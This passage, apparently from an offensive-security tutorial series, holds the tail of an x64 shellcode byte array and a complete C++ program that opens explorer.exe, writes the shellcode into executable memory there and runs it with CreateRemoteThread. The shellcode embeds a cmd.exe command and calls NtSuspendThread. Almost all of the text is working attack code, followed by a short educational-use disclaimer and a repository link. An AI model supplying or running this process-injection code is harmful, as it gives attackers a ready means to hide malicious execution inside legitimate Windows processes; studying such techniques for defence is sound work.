0x48, 0x8D, 0x8D, 0x18, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00,
0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00, 0x48,
0x89, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,
0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x85, 0xA8, 0x00, 0x00, 0x00, 0x48,
0xB8, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x85,
0xB0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,
0x53, 0x00, 0x48, 0x89, 0x85, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x79,
0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x00,
0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5C, 0x00,
0x48, 0x89, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x63, 0x00, 0x6D,
0x00, 0x64, 0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0xD0, 0x00, 0x00, 0x00,
0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x20, 0x00, 0x48, 0x89,
0x85, 0xD8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x2F, 0x00, 0x6B, 0x00, 0x20,
0x00, 0x6D, 0x00, 0x48, 0x89, 0x85, 0xE0, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x73, 0x00, 0x67, 0x00, 0x20, 0x00, 0x2A, 0x00, 0x48, 0x89, 0x85, 0xE8,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x20, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C,
0x00, 0x48, 0x89, 0x85, 0xF0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6C, 0x00,
0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x48, 0x89, 0x85, 0xF8, 0x00, 0x00,
0x00, 0x48, 0xB8, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x48,
0x89, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0xB8, 0xF4, 0x00, 0x66, 0x00,
0x66, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, 0x48,
0xB8, 0x6E, 0x00, 0x73, 0x00, 0x69, 0x00, 0x76, 0x00, 0x48, 0x89, 0x85,
0x10, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00,
0x61, 0x00, 0x48, 0x89, 0x85, 0x18, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E,
0x00, 0x64, 0x00, 0x61, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85, 0x20, 0x01,
0x00, 0x00, 0x48, 0xC7, 0x85, 0x28, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x28,
0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x85,
0x38, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x50,
0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x48, 0x00, 0x00, 0x00,
0x00, 0x48, 0xC7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7,
0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x30,
0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x85, 0x28, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
0x20, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x95, 0x18, 0x02,
0x00, 0x00, 0x48, 0x8D, 0x8D, 0x38, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x00,
0x02, 0x00, 0x00, 0x48, 0x8D, 0x85, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B,
0xF8, 0x33, 0xC0, 0xB9, 0x58, 0x00, 0x00, 0x00, 0xF3, 0xAA, 0x48, 0xC7,
0x85, 0x40, 0x02, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0xC7, 0x85, 0x48,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00,
0x48, 0x6B, 0xC0, 0x01, 0x41, 0xB8, 0x20, 0x00, 0x00, 0x00, 0xBA, 0x08,
0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x00, 0x48, 0x8B, 0x4C, 0x01, 0x28,
0xFF, 0x95, 0xF8, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xA0, 0x02, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x00, 0x28,
0x00, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0xC7, 0x44, 0x01, 0x08, 0x05,
0x00, 0x02, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x0F, 0xB7, 0x8D, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xA0, 0x02,
0x00, 0x00, 0x48, 0x89, 0x4C, 0x02, 0x10, 0xB8, 0x20, 0x00, 0x00, 0x00,
0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0x48,
0x8B, 0x95, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x54, 0x01, 0x18, 0x48,
0xC7, 0x85, 0xB0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B,
0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D,
0x85, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B,
0x85, 0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7, 0x44,
0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00,
0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48,
0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF,
0x1F, 0x00, 0x41, 0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0,
0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF, 0x95,
0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00, 0x00, 0x48, 0xB8,
0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x48, 0x89, 0x45, 0x10,
0x48, 0xB8, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89,
0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x02,
0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D, 0xA5, 0x58, 0x03, 0x00, 0x00,
0x5F, 0x5D, 0xC3 };
unsigned int sc_len = sizeof(sc);
HANDLE GetProcessHandleByName(const std::wstring& processName) {
HANDLE hProcess = nullptr;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return nullptr;
if (Process32FirstW(snapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
return hProcess;
}
int main(int argc, char* argv[]) {
HANDLE hthread; // remote thread handle
HANDLE handle; // process handle
LPVOID my_sc_mem; // pointer to remote buffer for payload
DWORD oldprotect = 0;
std::wstring pName = L"explorer.exe"; // Note the 'L' prefix for wide strings
HANDLE hProcess = GetProcessHandleByName(pName);
if (hProcess) {
std::wcout << L"Handle to " << pName << ": " << hProcess << std::endl;
// Allocate a memory buffer for payload with permission RWX
my_sc_mem = VirtualAllocEx(hProcess, 0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// copy payload to allocated buffer using WriteProcessMemory()
WriteProcessMemory(hProcess, my_sc_mem, sc, sc_len, NULL);
// run shellcode
hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)my_sc_mem, NULL, 0, NULL);
if (hthread != NULL) {
WaitForSingleObject(hthread, 500);
CloseHandle(hthread);
}
CloseHandle(hProcess); // Close the handle when done
}
else {
std::cerr << "Failed to obtain process handle.\n";
}
return 0;
}
Demonstration
For GitHub-Repo Click Here: Offensive-Panda/ProcessInjectionTechniques
Disclaimer
The content provided on this series is for educational and informational purposes only. It is intended to help users understand cybersecurity concepts and techniques for improving security defenses!